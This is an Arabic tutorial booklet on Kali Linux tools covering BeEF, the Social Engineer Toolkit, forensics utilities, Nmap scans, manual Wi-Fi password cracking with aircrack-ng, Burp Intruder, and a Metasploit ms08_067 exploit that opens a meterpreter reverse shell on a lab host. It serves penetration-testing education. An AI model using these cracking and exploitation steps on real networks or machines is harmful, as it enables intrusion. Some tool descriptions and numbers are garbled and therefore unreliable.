من أجل الحصول على دليل  demoعند ظهور صفحة الترحيب نستطيع البدأ بالضغط على وصلة 

 البدأ.

 

سوف تحوي مسارات البحث. وسوف نلاحظ قوائم مختلفة وسوف تلقي  BeEFالقائمة اليسرى من 

 نظرة سريعة عليهم:

 Getting Startedءتها في الشكل السابق.: هي نفس صفحة الترحيب التي قمنا بقرا 

 Logs.تظهر مختلف عمليات البحث : 
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 Current Browser هي القائمة الرئيسية للبحث. تحوي تفاصيل عن عملية البحث :

 قوائم فرعية مع معلومات و عمليات مختلفة. 6الحالية. تحوي 

 

 

 القوائم الفرعية هي كالتالي:

o Details.تحوي كل تفصيل عن المتصفح : 

o Logs تحوي رسائل :log .لعمليات المتصفح 

o Commands تحوي مختلف الموديولات والنماذج التي يمكن تنفيذها في :

 المتصفح.

o Rider هذه القائمة تسمح لنا بإرسال طلبات :HTTP .بالنيابة عن المتصفح 

o XssRays : تبحث عن أي هجومXSS .محتمل على المتصفح 

على تطبيقات الويب  BeEF. يمكننا تشغيل BeEFسية عن لقد رأينا بشكل مختصر المعلومات الأسا

 .frameworkلمعرفة المزيد على هذه الـ  demoالخاصة بك أو يمكن أن نبدأ بدروس 
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Social Engineer Toolkit 

Social Engineer Toolkit (SET هي أداة سطر أوامر مشهورة التي تستطيع القيام بهجوم على )

مستخدمين محددين. حيث يتم بناء الهجوم على مجموعة من الخيارات الموجودة ضمن هذه الأداة 

بإستخدام قوة هذه الاداة لبناء سلسة الهجوم. نجاح سلسة الهجوم يعتمد تماماً على وستمح للمهاجم 

 أداة الهندسة الإجتماعية. لبدأ هذه الأداة نذهب وفق المسار التالي:العنصر البشري لذلك سميت ب

Applications|Kali Linux|Exploitation tools|Social Engineering Toolkit|se-toolkit. 

 

 .1نستطيع إختيار نمط الهجوم الذي نرغب به من قائمة الخيارات لتأسيس الهجوم. دعونا نختار 

 Spear-Phishingوم عديدة لنختارها. لنختار على سبيل المثال هنا سوف نجد خيارات هج

Attack Vector  و من ثم نختارCreate Social Engineering Template هذا الخيار سوف .

 .SETيسمح لنا بناء نموذج هجوم خاص بنا لتنفيذ هجوم عبر 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  46 

 

أداة مفيدة  SETبالإضافة لذلك نستطيع بدأ هجوم إعتماداً على موقع معين أو برنامج جافا و هكذا. 

أيضاً تمكننا من  SETوسهلة الإستخدام التي تزودنا بالعديد من الخيارات من أجل إختبار الإختراق. 

 و meterpeter connectionsو  payloadلبناء  Metasploit frameworkإستغلال قوة 

shells .و غيرها 

 Forensicsالتعامل مع الأدوات 

التي يمكن  forensicsمجموعة مدهشة من الأدوات المجانية المبنية على أساس  Kaliيحوي النظام 

تلعب دور مختلف تماما مقارنة بإختبار  Forensicsإستخدامها للبحث في النظم المخترقة. 

نحن نحاول أو نحلل السبب الأساسي في الدراسة  Forensicsالإختراق. حيث أن في تحليل 

والتحليل بينما في إختبار الأختراق ننفذ عملية الكسر أو الإختراق. دعونا نلقي نظرة سريعة على 

 .Kaliبعض من أهم أدوات العلمية في النظام 
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Autopsy Forensic Browser 

وهي أداة مفيدة جدا في التحليل العلمي. وهي أداة ذات واجهة رسومية تولد تقرير تفصيلي للأحداث 

وهي أداة سريعة وقوية التي تحدث ضمن نظام التشغيل. مما يجعل ربط العمليات مع بعضها أسهل. 

 في البحث عن تصرفات مشبوهة ضمن النظام. بعض ميزاتها المشهورة:

 Timeline analysis 

 Filesystem analysis 

 Extracting history, cookies, and bookmarks from various browsers 

 Hash filtering 

Autopsy :يمكن تشغيلها عبر الذهاب الى المسار التالي 

Applications|Kali Linux|Forensics|Digital Forensics|Autopsy. 

ب إلى العنوان : ويمكن بدأ الواجهة الرسومية من المتصفح عبر الذه

localhost:9999/autopsy 
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. سوف New Caseعند ظهور الواجهة الرسومية / نستطيع بدأ حالة جديدة عبر الضغط على 

 تظهر نافذة جديدة كما في الشكل التالي:

 

, وفي Investigator Nameو  Case Name ،Descriptionنملأ التفاصيل الأولية مثل 

ورة. تدخل المسار الكامل للصورة لتظهر في عمليات يتم طلب إضافة صالمرحلة الأخيرة سوف 

 البحث . والآن نكون جاهزين للبدأ بعملية البحث و التحري عن الهدف.

معظم خصائص الصورة التي تخضع للبحث سوف توضع ضمن قائمة على الجزء الأيسر من 

تظهر البيانات من نوع الملف.  Viewsسوف تظهر مسار البنية.  Imageالواجهة الرسومية. 

Results  تحوي الخرج من نموذجIngest نموذج .Ingest  .يحلل عدة ملفات وفق أولوية معينة

وهي كيفية الإنتقال بشكل كامل داخل النظام لمعرفة التغيرات في النظام وتحديد أي خطر محتمل. 

Autopsy لنظام.أداة سهلة جداً في حالات عدم معرفة أساس الضرر في ا 
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The Sleuth Kit 

TSK  مجموعة من المكتبات التي يمكن إستخدامها لفحص القرص للدراسة الرقمية. مكتباتTSK 

هي  Autopsyتكون مدمجة مع أدوات علمية أخرى من أجل أن تعمل معها لتنفيذ الهدف العملي. 

 . بعض أدواتها المهمة:TSKنسخة رسومية من 

icat .أداة عرض محتوى الملف 

blkls .أداة لتحرير المساحة غير المحجوزة في القرص 

fsstat .لتحديد مكان جزء من المعلومات 

fls .أداة حذف ملفات 

هناك بعض الأدوات المفيدة الموجودة ضمنها التي يمكن إستخدامها في مختلف الحالات لتنفيذ 

 التدقيق و البحث.

دامها في العديد من الحالات لتنفيذ عدة مهام ماسبق كان مقدمة عن الأدوات المهمة التي يمكن إستخ

أداة  033يحوي أكثر من  Kaliمن تجميع المعلومات إلى البحث و التدقيق و الفحص العلمي. 

ولايمكن شرح جميعها ضمن هذا الكتاب ولكن الفهم الجيد لبعض هذه الأدوات يمكن أن يكون مفيد 

 في العديد من الحالات. 

 الكتاب سوف نغطي بعض الأدوات ولكن بتوسع و بتفصيل أكثر. في القسم التالي من هذا
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 مصطلحات أو أساسيات يجب معرفتها 5

سوف تستنتج أنه هناك العديد من الأشياء يمكن القيام بها  Linuxمن  Kaliعند البدأ بإستخدام النظام 

يذها والتي يمكن تنفعبر هذا النظام. في هذا القسم سوف تتعلم كل شيء حول أكثر الأشياء إنتشارا 

 عبر هذا النظام.

 Nmapتجميع المعلومات بإستخدام 

تجميع المعلومات يعتبر أول خطوة بإتجاه إختبار الإختراق. في هذه المرحلة سوف نحاول و نجمع 

هي الأداة المفضلة للقيام بالمسح و  Nmapأكبر قدر ممكن من المعلومات حول الهدف أو الضحية. 

. هذا سوف يعرض لنا nampو نمرر الأمر  consoleتجميع المعلومات. من أجل تشغيلها نفتح 

 دعونا نعمل مع بعضها. .Nmapالعديد من البارامترات والإدخالات التي يمكن إستخدامها في 

  لمسحIP :واحد، نستخدم الأمر التالي 
root@kali:~#nmap 192.168.56.1 

 خرج هذا الأمر موضح بالشكل التالي:

 
 

  لمسح مجال من عناوينIP :ضمن شبكة، نستخد الأمر التي 
root@kali:~#nmap 192.168.56.1-255 

  لمسح رقمport :محدد عند الهدف ، يتم وفق الأمر 
root@kali:~#nmap 192.168.56.1 –p 80 
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  لمسح مجال منports :في في كامل الشبكة نستخدم الأمر 

root@kali:~#namp 192.168.56.0/24 –p 1-1000 

  من أجل إستثناءhost :أو أكثر من عملية المسح 

nmap 192.168.56.0/24 --exclude 192.168.1.5 

nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254 

  التالي:لتنفيذ مسح سريع، استخدم الأمر 

nmap -F 192.168.56.1 

 :لمسح معلومات عن نظام التشغيل و نسخته، نستخدم الأمر 
nmap -A 192.168.56.1 

nmap -v -A 192.168.56.1 

  لمعرفة فيما إذا كان الجدار الناري موجود ضمن مجال شبكة أو عناوينIP: 

nmap -sA 192.168.1.254 

 ، في حال وجود جدار ناريNmap   تحوي بارامتر من أجل مسح الهدف والذي يمكن

 تنفيذه بإستخدام الأمر:

nmap -PN 192.168.1.1 

  لزيادة الضغط و معرفة فيما إذا كانت كل حزم البيانات أرسلت و أستقبلت، نستخد الأمر

 التالي:
nmap --packet-trace 192.168.1.1 

  ، استخدم الأمر التالي:لإكتشاف الخدمات المختلفة التي تعمل على الهدف 

nmap –sV 192.168.56.1 

 حزم لمسح الهدف بإستخدام TCP ACK  أوTCP SYN :نستخدم الأمر التالي ، 

nmap –PA 192.168.56.1 

nmap –PS 192.168.56.1 

  لبدأ مسح سريع و آمن ، سوف نستخدم مسحTCP SYN :بإستخدام الأمر التالي 

nmap –sS 192.168.56.1 

  لمعرفة خدماتTCP  المختلفة التي تعمل عند الضحية، نستخدم مسح إتصالTCP  عبر

 الأمر التالي:
nmap –sT 192.168.56.1 

  من أجل مسحUDP :نستخدم الأمر 

nmap –sU 192.168.56.1 
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 :كل نتائج المسح السابق يمكن أن تحفظ ضمن ملف نصي بإستخدام الأمر التالي 

Nmap –sU 192.168.56.1 > scan.txt 

تؤمن ميزات  Nmapهذه كانت مجموعة من الأوامر المهمة عند تجميع المعلومات و المسح. 

 الربط بين بارامترات المسح بحيث تصبح أمر مسح واحد من أجل جعل العملية أكثر تعقيداً و تقدماً.

 Aircrackإختراق كلمات المرور للشبكات اللاسلكية بإستخدام 

ن كيفية كسر كلمات المرور للشبكات اللاسلكية بإستخدام في هذا القسم سوف نغطي تفاصيل ع

Kali لقد تحدثنا سابقا عن .Fern WIFI cracker  ولقد رأينا أنها أداة أوتوماتيكية لكسر كلمات

المرور ولكن ذات مدى محدود. هنا سوف نقوم بكل خطوة بشكل يدوي لرؤية كيف يمكن أن 

ن أن نتأكد كرت الشبكة اللاسلكي يدعم حقن حزم تخترق كلمة المرور. قبل أن نبدأ ، لابد م

لرؤية خصاص الكرت الخاص بنا. يمكن نتفيذ هذا  googleالبيانات. يمكنك البحث عن ذلك عبر 

 .USBعبر إستخدام كرت شبكة لاسلكي قابل للإزالة 

 :Wi-Fiأتبع الخطوات التالية لبدأ إختراق كلمات مرور 

 تحديد الشبكة اللاسلكية. .1
 .iwconfigسوف نبدأ بتفعيل منفذ الشبكة اللاسلكي بإستخدام الأمر 
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. في حال أن كرت الشبكة اللاسلكي wlan0الكرت اللاسلكي سوف يكون بشكل إفتراضي 

 غير مفعل نستخدم الأمر التالي:

root@kali:~#ifconfig wlan0 up 

 بدأ المسح. .2
 التالي و نحلل الخرج:لمسح الشبكات القريبة ضمن المجال نمرر الأمر 

root@kali:~#iwlist wlan0 scan 

الخرج يحوي قائمة بالتفاصيل عن الشبكات ضمن المجال القريب كاسم الشبكة و العناوين 

 الفيزيائية و طريقة تشفير المفتاح.
 

 
 

نستطيع الآن إختيار الهدف من القائمة و حفظ تفاصيله كرقم القناة و العنوان الفيزيائي 

 سوف يتم إستخدامه في خطوة لاحقة.والذي 
 

 .monitoring modeإعداد نمط الإدارة  .0

. هذا monitoring modeفي هذه الخطوة سوف نقوم بإعداد كرتنا اللاسلكي ضمن 

سوف يمكن الكرت من فحص حزم البيانات المتدفقة في الهواء. للقيام بهذا سوف نستخدم 

airmon-ng وهي أداة سطر أوامر والتي تضبط كرت الشبكة اللاسلكي على .

monitoring mode:سوف نمرر الأمر التالي . 

root@kali:~#airmon-ng start wlan0 
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أو لا.  monitoring modeالآن ، من أجل التأكد أن كرت الشبكة اللاسلكي أصبح في 

سوف يظهر وهو منفذ  mon0. سوف نلاحظ أن اسم المنفذ  ifconfigنستخدم 

monitoring. 

 

 إلتقاط حزم بيانات. .4
الآن نحن جاهزين لبدأ إلتقاط الحزم المتدفقة ضمن الشبكة الهدف. سوف نستخدم 

airodump-ng :من أجل ذلك. صيغة الأمر على الشكل التالي 

airodump-ng –c (channel) –w (filename) --bssid (bssid) mon0 

ر مع بارامتراته وتفاصيلها ، سوف نلاحظ أن كرت الشبكة سوف بمجرد تمرير هذا الأم

 يبدأ بإلتقاط حزم البيانات من الشبكة الهدف.

 

 
 

 .132333ندع الكرت يلتقط حزم لعدة دقائق لحين الحصول على مايقارب 
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 إختراق كلمة المرور. .5
عند إغلاق عملية إلتقاط الحزم، سوف تلاحظ ظهور بعض الملفات الجديدة في مسار 

root الملف المهم هو .*.cap (crack-01.cap والذي سوف يستخدم بإختراق كلمة )

مع قاموس كلمات من أجل إختراق كلمة  aircrack-ngالمرور. ثم سوف نستخدم 

ويمكن تنزيله من  dark0de.lstهو المرور. لبقاموس المعروف الذي يمكن إستخدامه 

http://www.filecrop.com/dark0de.lst.html . 

 بعد تنزيل القاموس نمرر الأمر التالي:

root@kali:~#aircrack-ng crack-01.cap –w dark0de.lst 

 

 
 

بعد بضع دقائق، إذا حدث تطابق في القاموس سوف تظهر النتيجة على الشاشة. نجاح هذا 

د على قوة كلمة المرور والقاموس المستخدم في هذا الهجوم. ومن المفضل الهجوم يعتم

 .aircrack-ngإلتقاط أكبر قدر ممكن من الحزم قبل تنفيذ 

 Burp Suiteإختبار إختراق تطبيقات الويب بإستخدام 

Burp suite  هي أداة معروفة والتي تستخدم يشكل واسع لإختبار تطبيقات الويب. وتوجد منها

يحوي بشكل مسبق على النسخة  Kaliنسخة مجانية و نسخة تجارية تحوي ميزات إضافية. 

 المجانية. و من أجل تشغيل هذه الأداة نتبع المسار التالي:

Applications|Kali Linux|Web Applications|Web Application Fuzzers|Burp 

Suite. 
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 تتضمن التالي: Burp Suiteبعض خصائص 

 Proxy الطلبات والإستجابة خلال المتصفح الذي يمكن أن يحللة عمقاط. 

 .تطبيق من أجل فحص محتوى التطبيقات 
 .ماسح تطبيقات ويب من أجل تحديد الضعف و نقاط الضعف 
 .إنشاء و حفظ خطوت العمل 
 وفق إدخالات المستخدم. توسيع الأدوات و تطويرها 

Burp Suite  عبارة عن مجموعة من الأدوات التي تعمل مع بعضها. لنتطلع على بعض الوظائف

 .Burp Suiteضمن 

Burp proxy 

يقوم بقراءة حميع الطلبات والإستجابات التي تمر خلال المتصفح. وتقوم بتنفيذ هجوم  proxyوهو 

man-in-the-middle لتمرير . لبدأ العمل مع هذه الأداة سوف نغير إعدادات الشبكة للمتصفح

و  localhostعلى  proxy. نفتح إعدادات الشبكة للمتصفح و نضبط عنوان proxyالبيانات عبر 

 .8333رقم المنفذ على 
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 proxyيمكن رؤية طريقة عمل . Burp Suiteعبر  HTTPالآن المتفصح تم ضبطه على إتصال 

من  HTTP. المقاطعة سوف تعيد أي إتصال Optionsو نختار  Proxyنضغط على قائمة 

 تظهر لنا المخطط الزمني للإتصالات الملتقطة. Historyالمتصفح. قائمة 

 

 Burp. دعونا نناقش الآن طريقة عمل Optionsمن قتئمة  proxyيمكن تغيير طريقة عمل 

Spider. 

Burp Spider 

ويب مرتبطة بموقع معين. وتبدأ من الصفح الرئيسية أو أي صفحة تم إدخالها  اداة توجد كل صفحة

و تبدأ البحث بإتباع الروابط المتصلة مع هذه الصفحة. و أخيرا تظهر لنا السلسة الكاملة على شكل 

. يمكن إختيار البحث على Optionsتسمح لنا بضبط الإعدادت من قائمة  Burp Spiderشجرة. 

 أو تسجيل الدخول للتطبيقات أو عدد التهديدات و غيرها. HTMLو حقول العمق الأكبر أ
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Burp Intruder 

أداة قوية لتنفيذ هجمات وفق الذي نريده على تطبيقات الويب. تسمح للمستخدم ببناء نموذج هجوم و 

 تنفيذ العملية بشكل تلقائي.

Burp Inruder  قوائم مهمة هي:  4تحويTarget, Positions, Payloads, Options. 

 

 .102232321تسمح لنا بإختيار عناون التطبيق الهدف. من أجل إختبار محلى نختار  targetقائمة 

ويمكن أن تستخدم من أجل إختيار مواقع التي سوف يتم تنفيذ الهجوم عليها.  Positionsقائمة 

 ج الهجوم مثل تكون طلب أو شكل الحقل أو بارامتر و هكذا. هناك عدة أشكال من نماذ

Sniper attack, battering ram attack, pitchfork attack, cluster bomb. 

لتطبيقه على الموقع المختار ضمن تستخدم لضبط شعاع الهجوم الذي نحتاج  Payloadsقائمة 

 postionsعبر إختيار  SQL injunctionالقائمة السابقة. على سبيل المثال ، يمكن تطبيق هجوم 

 .injunction stringكـ  payloadكـ شكل تسجيل دخول و إختيار الـ 

تستخدم من أجل تطبيق إعدادات إضافية كـ عدد المخاطر و المحاولات و تخزين  Optionsقائمة 

 النتيجة.

. وينصح بشكل كبير بتطبيق Burp Suiteهذه كانت تغطية سريعة لبعض الخصائص الأساسية لـ 

 على تطبيقات الويب من أجل طريقة عملها بشكل جيد. الأدوات بطريقة معينة
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Metasploit Exploitation Framework 

Metasploit  بواسطةهي أداة مجانية و مفتوحة المصدر لإختبار الإختراق، بدأت H.D. Moore 

. النسخة الحالية منها كتبت بواسطة لغة Rapid7و تم إكتسابها لاحقا من قبل  2330في عام 

المجرية و يتم تنزيلها ملايين المرات كل  exploitsوتملك أكبر قاعدة بيانات من . Rubyالبرمجة 

حتى الوقت الحالي. و يوجد منها نسخة  Rubyسنة. وهي أيضا أكثر مشروع مغقد مبني بواسطة 

 مجانية و نسخة تجارية.

Metasploit نوذجي و كل نماذجها و نصوصها متكاملة مع الإطار على شكل  يعتمد على بناء

 نموذج واحد. هذا يجعلها سهلة لمكاملة أي موذج جديد مع الإطار العام لها و إستغلال ميزاتها.

 Metasploitميزات 

 Framework base: Metasploit has a rich base that provides loads of 
functionalists that are required during penetration testing. Some if its base 
functions include logging, configuring, database storage, meterpreter 
scripting, and so on.  

 Auxiliary modules: This is one of the major features of Metasploit. Auxiliary 
modules are specific function modules that can perform a variety of tasks 
both pre and post exploitation. Some of its chief functionalities include 
scanning, information gathering, launching specific attacks, OS detection, 
service detection, and so on.  

 Packaged tools: Metasploit comes with several handy tools that can further 
enhance the penetration testing experience. These add-on packages can 
create standalone payloads and encrypt the payloads using different 
algorithms, database connectivity, the GUI interface, and so on.  

 Third-party plugins: Metasploit can integrate with several third-party 
plugins and use its results to build its own attack structure. Results from 
various tools, such as Nmap, Nessus, and NeXpose, can be used directly within 
the framework.  

 Open source: The free version of Metasploit is open source, so it can be fully 
extended and modified as needed.  

 نذهب وفق المسار التالي: Metasploitمن أجل تشغيل 

Applications|Kali Linux|Top 10 security tools|Metasploit Framework 

جاهزة  Metasploitوالذي يشير أن  <msfسوف نلاحظ ظهور  consoleبمجرد ظهور إتصال 

 لإدخال الأوامر.

نحتاج إلى نظام هدف. لنبدأ مسح سريع عبر  Metasploitلبدأ عملية إختبار الإختراق بأستخدام 

Nmap  لمعرفة النظم الموجودة في شبكتنا. سوف نستخدم الأمر التالي من أجل إطلاق عملية

 msf > namp 192.168.56.1/24                                                      المسح:
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 Windows XPنظم مختلفة. لنستهدف النظام  4إكتشفت  Nmapفي الشكل السابق نرى أن 

إكتشفت أن الهدف يستخدم نظام تشغيل  Nmap. 192.168.56.102صاحب العنوان 

Windows XP  الخطوة التالية هي معرفة ،remote exploit  للنظامXP لحسن الحظ لدينا .

ضمن مخزون الـ  netapi نموذج إختراق جاهز. دعونا الآن نبحث على نقطة ضعف

Metasploit. 

msf > search netapi 
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. لتفعيل هذا greatوالذي تم تقديره بـ  exploitلنموذج  ms08_067_netapiنختار نموذج 

 النوذج نمرر الأمر التالي:

msf > use exploit/windows/smbms08_067_netapi 

 كلها معدة للتنفيذ. exploit، ولاحظ أن نموذج exploitلـ نموذج  consoleهذا سوف يغير شاشة 

 . الأمرexploitالآن الخطوة التالية سوف تكون تمرير قيم البارامترات الضرورية لنموذج 

Show options .يظهر لنا البارامترات الضرورية 

 الي نريد إستهدافه. host. حيث تمصل الـ  RHOSTمرير القيمة هنا يجب ت

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102 

 . كالتالي:PAYLOADبمجرد إعداد النموذج، الخطة التالية هي إختيار 

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp 

، نحتاج الآن لتمرير قيم البارامترات. ممرة أخرى نستطيع إستخدام meterpreterإختيار  بمجرد

 لجهاز IPوالذي هو  LHOST IPلرؤية البارامترات الضرورية. نمرر  show optionsالأمر 

 الهجوم.

 لإرسال نموذج الإختراق للجهاز الهدف. exploitالآن تم إعداد الإختراق. نمرر الأمر 

 

مع ملاحظة أن  meterpreterسوف تتغير إلى  consoleإذا نجح الهجوم سوف نلاحظ أن شاشة 

payload  .تم تنفيذه بنجاح على الجهاز البعيد و الآن نستطيع التحكم بها من خلال جهاز الهجوم

قامت بسهولة بوصول بشكل كامل لجهاز الضحية بإستخدام  Metasploitونلاحظ أيضا كيف أن 

أداة قوية جدا لتنفيذ إختبار الإختراق على أجهزة بعيدة. هذه كانت  exploit .Metasploitنموذج 

 .Metasploitمقدمة سريعة عن 

 .kali Linuxلننتقل إلى القسم التالي حيث سننتقل إلى تغطية أدوات أخرى موجودة في النظام 
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Network forensics   بإستخدام Kali Linux 

Network forensics من التحليل و التقارير و إسترجاع معلومات الشبكة من جهاز النظام تتض

تتضمن بحث مفصل عن الأحداث مع المعلومات المتعلقة  Foresicsأو أي جهاز تخزين رقمي. 

تتضمن  Foresicsيحوي مجموعة واسعة من الأدوات التي تؤسس تحليل فعال جدا.  Kaliبها. 

 ي تتطلب أدوات مختلفة. أيضا تحليل وفق مختلف المفاهيم والت

 Wiresharkتحليل الشبكة بإستخدام 

Wireshark  أداة تحليل حزم بيانات الشبكة مشابهة لـtcpdump  والتي تلتقط حزم البيانات التي

يعتبر كخناجر الجيش السويسري  Wiresharkتمر خلال الشبكة و تظهرهم على شكل جداول. 

والتي يمكن إستخدامها في مختلف الحالات كتصحيح أخطاء الشبكة و عملية الحماية و معرفة 

 البروتوكولات الداخلية. هذه أداة واحدة تقوم بكل هذا وبشكل سهل.

 :Wiresharkبعض الفوائد المهمة من العمل مع 

 .يدعم تعدد البروتوكولات 
 ر المستخدم.سهلة الإستخدام عب 
 .تحليل الإشارة بشكل مباشر 
 .مفتوح المصدر 

 نذهب وفق المسار :  Kaliفي نظام  Wiresharkلبدا العمل مع 

Applications|Kali Linux|Top 10 security tools|Wireshark 
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عند تحميل الواجهة الرسومية سوف نختار المنفذ الذي نريد بدأ التعامل معه. لوحة الأزرار 

للبدأ. سوف تلاحظ أن الواجهة  Startاليسارية توضح المنافذ المتوفرة. نختار المنفذ و نضغط على 

 الرسومية سوف تظهر حزم مختلفة تم إلتقاطها من المنفذ الذي قمنا بإختياره.

 

 

تظهر  Capture panelسوف تلاحظ أن الواجهة الرسومية لهذا البرنامج مقسمة إلى ثلاثة أقسام. 

تظهر معلومات عن الحزمة المختارة من  Packet details panelإلتقاط الحزم مباشرة. 

capture panel .Packet bytes panel  تمثل المعلومات منpacket details  بالصيغة

لزيادة  optionsتسلسل البايتات المتدفقة. يمكن إختيار عدة خيارات من قائمة الحقيقة لها. تظهر 

 فعالية الإلتقاط.

Rootkit-scanning forensics with chkrootkit 

Rootkit  برنامج مشبوه مصمم لإخفاء عمليات مشبوهة من إكتشافها ويسمح بإستمرارها ضمن

 . يمكن تشغيلها عبر المسار:chkrootkitدعى خاصة ت rootkitيزودنا أداة  Kaliنظام الحاسب. 

Applications|Kali Linux|Forensics|Digital anti-forensics|chkrootkit 
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 .chkrootkitو نشغل  usr/sbin/، نغير المسار إلى terminalبعد إقلاع 

 

 

 

أداة مفيدة  Chkrootkitسوف تقوم بمسح النظام من أي برنامج مشبوه.  chkrootkitبعد إقلاع 

 جدا لمعرفة البرامج غير الموثوقة المثبتة في النظام.

 md5deepتحليل الملفات بإستخدام 

md5deep  أداة مفتوحة المصدر تستخدم لحساب قيم الـhash  أوmessage digests  لأي عدد

لكل الملفات الموجودة ضمن مسار معين أو مجلد  signatureمن الملفات. ويمكن أيضا توليد 

للملفات تساعد عملية التحليل في فهم فيما إذا كان محتوى الملف  MD5 signatureمحدد. توليد 

للملف المحتمل أنه تغير ، في  MD5للملف الأصلي تقارن مع قيمة  MD5تغير أم لا. حيث أن 

 فإن الملف قد تم تغيير محتواه.حال عدم التطابق 
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 سهل جدا. ويمكن تشغيله عبر المسار: md5deepإستخدام 

Applications|Kali Linux|Forensics|Forensics Hashing Tools|md5deep 

 

 

 للملفات الموجودة ضمن مسار أو مجلد نستخدم الأمر التالي: signaturesلتوليد قائمة من 

root@kali:~#md5deep –r /darklord > darklordmd5.sum 

 التغيير نستخدم الأمر: لفحص سلامة الملف من

root@kali:~#md5deep –rx darklordmd5.sum 

بهذه الطريقة نستطيع فحص سلامة الملفات للتأكد من عدم وجود تعديل أو أن هناك تعديل على 

 محتوى الملفات.
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 أشخاص و أماكن يجب معرفتها

ص و الأماكن التي يمكن أن ، فهذه قائمة بالأشخا Kali Linuxإذا كنت بحاجة إلى مساعدة بإستخدام 

 تجد عبرها كل شيء ممكن أن تحتاجه.

Official sites 

 المواقع الرسمية التي ينبغي عليك زيارتها:

 Homepage: http://www.kali.org 

 Manual and documentation: http://docs.kali.org 

 Blog: http://www.kali.org/blog/ 

 Source code: http://git.kali.org/gitweb/ 

Articles and tutorials 

 :Kaliبعض المقالات التي يجب قراءتها لزيادة معرفتك عن النظام 

 Backtrack is reborn-kali: 

www.offensive-security.com/offsec/backtrack-reborn-

kali-linux/ 

 Easily Accessing Wireless network with Kali Linux: 

https://community.rapid7.com/community/infosec/blog

/2013/05/22/easily-assessing-wireless-network-with-

kali-linux 

 Kali Linux cracks passwords on an enterprise level: 

http://lifehacker.com/5990375/kali-linux-cracks-

passwords-on-the-enterprise-level 

 Installing Vmware tools on Kali Linux: 

http://www.drchaos.com/installing-vmware-tools-on-

kali-linux/ 

Community 

 عبر : Kali Linux communityيمكن الوصول إلى 

 Official mailing list: info@kali.org 

 Official forums: http://forums.kali.org 

 Unofficial forums: http://www.kalilinux.net 

 IRC: irc.freenode.net #kali-linux 
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Blogs 

 بعض المواقع والفيديوهات التي ينبغي المرور عليها:

 Learning security tips: 

http://www.securitytube.net 

 Metasploit unleashed , a project by founder of kali: 

http://www.offensive-security.com/metasploit-

unleashed/Main_Page 

 Video tutorials on Kali: 

http://cyberarms.wordpress.com/2013/07/01/video-

training-kali-linux-assuring-security-by-penetration-

testing/ 

 Cyber Attack management with Armitage: 

http://www.fastandeasyhacking.com/ 

Twitter 

 يمكن متابعة:

 Kali Linux on Twitter: https://twitter.com/kalilinux 

 MalwareMustDie, NPO on Twitter: 

https://twitter.com/malwaremustdie 
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 Kali Linuxتم بعونه تعالى الإنتهاء من هذا الموجز عن نظام 

 وبعض الأدوات الموجودة في هذا النظام

 لاتنسونا من صالح دعائكم

 السلام عليكم ورحمة الله وبركاته
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